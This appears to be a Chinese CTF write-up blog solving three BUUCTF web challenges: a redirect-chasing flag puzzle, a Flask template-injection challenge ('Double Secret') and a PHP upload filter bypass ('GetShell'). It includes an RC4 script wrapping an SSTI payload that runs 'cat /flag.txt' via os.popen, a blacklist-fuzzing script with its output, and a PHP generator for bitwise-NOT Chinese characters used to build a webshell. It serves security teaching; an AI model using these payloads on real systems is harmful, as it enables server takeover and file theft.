[b01lers2020]Welcome to Earth
打开网站,停一会会跳转die,了解一下,这就类似一个通关游戏,不能死亡,也就是说进入/die这个网站就意味着题就做不出来了;所以回到上一个网站原网站,查看源码;
http://ccfd97f9-3c13-40b0-ad8c-4ba1cacfced9.node5.buuoj.cn:81/
返回这里去查看源码,得到/chase/
然后访问
url+/chase/
这里最好去抓一个包去查看,要不我怕反应不过来就跳转过去了,找到了/leftt/
同上继续访问,找到了/shoot/,同上继续访问,找到了/door/,继续访问,然后就找不到类似的了,这里需要访问/static/js/door.js,然后访问/open/,然后访问/static/js/open_sesame.js,然后访问/fight/,然后访问/static/js/fight.js,得到了js代码和flag不过是乱序的,
function scramble(flag, key) {for (var i = 0; i < key.length; i++) {let n = key.charCodeAt(i) % flag.length;let temp = flag[i];flag[i] = flag[n];flag[n] = temp;}return flag;
}function check_action() {var action = document.getElementById("action").value;var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];// TODO: unscramble function
}
以下脚本可以整理一下flag,总共6个flag,我是一个一个的试出来的
from itertools import permutationsflag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]item = permutations(flag)
for i in item:k = ''.join(list(i))if k.startswith('pctf{hey_boys') and k[-1] == '}':print(k)
脚本如上
[CISCN2019 华东南赛区]Double Secret
打开网站出现一句话,之后不管是源码还是去用字典扫描都没有发现什么,抓包也没有用处,在看题目,猜想到secret?secret这种方式试了一下,还真是,get传参随便传点东西,打开一个报错页面,在这个页面找到了一段重要的代码
if(secret==None):return 'Tell me your secret.I will encrypt it so others can\'t see'rc=rc4_Modified.RC4("HereIsTreasure") #解密deS=rc.do_crypt(secret)a=render_template_string(safe(deS))if 'ciscn' in a.lower():return 'flag detected!'return a
这里需要记录一下,在看到render_template_string()函数的时候就要想到python2.7的模板注入漏洞,根据以上代码进行代码分析,在get传参时需要将ssti注入语句进行加密,因为当你传参时,这个代码会将语句进行rc4解密,所以传入的语句需要进行加密,下面是rc4加密的脚本
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return crypt
def rc4_init_sbox(key):s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_box
def rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))# print("res用于加密字符串,加密后是:%res" %res)cipher = "".join(res)print("加密后的字符串是:%s" %quote(cipher))#print("加密后的输出(经过编码):")#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#需要加密的字符串在这里修改
rc4_main("HereIsTreasure","{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}")
加密一下在进行传参就可以得到flag了
传参内容,加密前
{{''.__class__.__mro__[2].__subclasses__()[59]}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}
[SUCTF 2018]GetShell
知识点:新的姿势汉字去构造webshell
打开题目,在主页查看源码,就可以找到文件上传的位置了,上传位置在
url+index.php?act=upload
打开这个页面,就可以看到一串代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){$data=substr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}
}
审计代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"]))
这串代码就是将上传的文件读成字符串并赋给变量contents
$data=substr($contents,5);
截取这个字符串从第6个字符开始,索引为5
foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}
}
striops就是匹配第二个字符串在第一个字符串第一次出现的位置,这里的意思就是如果b这个字符串在data这个字符串当中那么就返回字符串的位置,否则就返回false,也就是说如果b这个字符串在data当中就会进到这个if语句当中,那么上传就会不成功
也就是说这是一个黑名单,可以写一个python代码看看黑名单里都过滤了那些字符
这里参考这个大佬的博客:BUUCTF:[SUCTF 2018]GetShell-CSDN博客
# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requestsdef ascii_str():str_list=[]for i in range(33,127):str_list.append(chr(i))#print('可显示字符:%s'%str_list)return str_listdef upload_post(url):str_list = ascii_str()for str in str_list:header = {'Host':'3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'}post = '''-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain12345'''+str+'''
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"提交
-----------------------------339469688437537919752303518127--'''res = requests.post(url,data=post.encode('UTF-8'),headers=header)if 'Stored' in res.text:print("该字符可以通过: {0}".format(str))else:print("过滤字符: {0}".format(str))if __name__ == '__main__':url = 'http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?act=upload'upload_post(url)
fuzz脚本
测试结果如下
PS C:\Users\Administrator\Desktop> python .\fuzz.py
过滤字符: !
过滤字符: "
过滤字符: #
该字符可以通过: $
过滤字符: %
过滤字符: &
过滤字符: '
该字符可以通过: (
该字符可以通过: )
过滤字符: *
过滤字符: +
过滤字符: ,
过滤字符: -
该字符可以通过: .
过滤字符: /
过滤字符: 0
过滤字符: 1
过滤字符: 2
过滤字符: 3
过滤字符: 4
过滤字符: 5
过滤字符: 6
过滤字符: 7
过滤字符: 8
过滤字符: 9
过滤字符: :
该字符可以通过: ;
过滤字符: <
该字符可以通过: =
过滤字符: >
过滤字符: ?
过滤字符: @
过滤字符: A
过滤字符: B
过滤字符: C
过滤字符: D
过滤字符: E
过滤字符: F
过滤字符: G
过滤字符: H
过滤字符: I
过滤字符: J
过滤字符: K
过滤字符: L
过滤字符: M
过滤字符: N
过滤字符: O
过滤字符: P
过滤字符: Q
过滤字符: R
过滤字符: S
过滤字符: T
过滤字符: U
过滤字符: V
过滤字符: W
过滤字符: X
过滤字符: Y
过滤字符: Z
该字符可以通过: [
过滤字符: \
该字符可以通过: ]
过滤字符: ^
该字符可以通过: _
过滤字符: `
过滤字符: a
过滤字符: b
过滤字符: c
过滤字符: d
过滤字符: e
过滤字符: f
过滤字符: g
过滤字符: h
过滤字符: i
过滤字符: j
过滤字符: k
过滤字符: l
过滤字符: m
过滤字符: n
过滤字符: o
过滤字符: p
过滤字符: q
过滤字符: r
过滤字符: s
过滤字符: t
过滤字符: u
过滤字符: v
过滤字符: w
过滤字符: x
过滤字符: y
过滤字符: z
过滤字符: {
过滤字符: |
过滤字符: }
该字符可以通过: ~
PS C:\Users\Administrator\Desktop>
这里是使用取反汉字绕过
脚本如下,还是参考那位大佬的脚本
<?php
//Author: m0c1nu7
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');function str_split_unicode($str, $l = 0) {if ($l > 0) {$ret = array();$len = mb_strlen($str, "UTF-8");for ($i = 0; $i < $len; $i += $l) {$ret[] = mb_substr($str, $i, $l, "UTF-8");}return $ret;}return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}$s = '你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪?岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪?花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋?长相思泪相随曾经谁是谁的谁?孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆;曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城';$arr_str=str_split_unicode($s);for ($i=0; $i < strlen($s) ; $i++) { echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}?>
剩下的思路和那位大佬都差不多,可以参考一下那篇文章写的挺好的:BUUCTF:[SUCTF 2018]GetShell-CSDN博客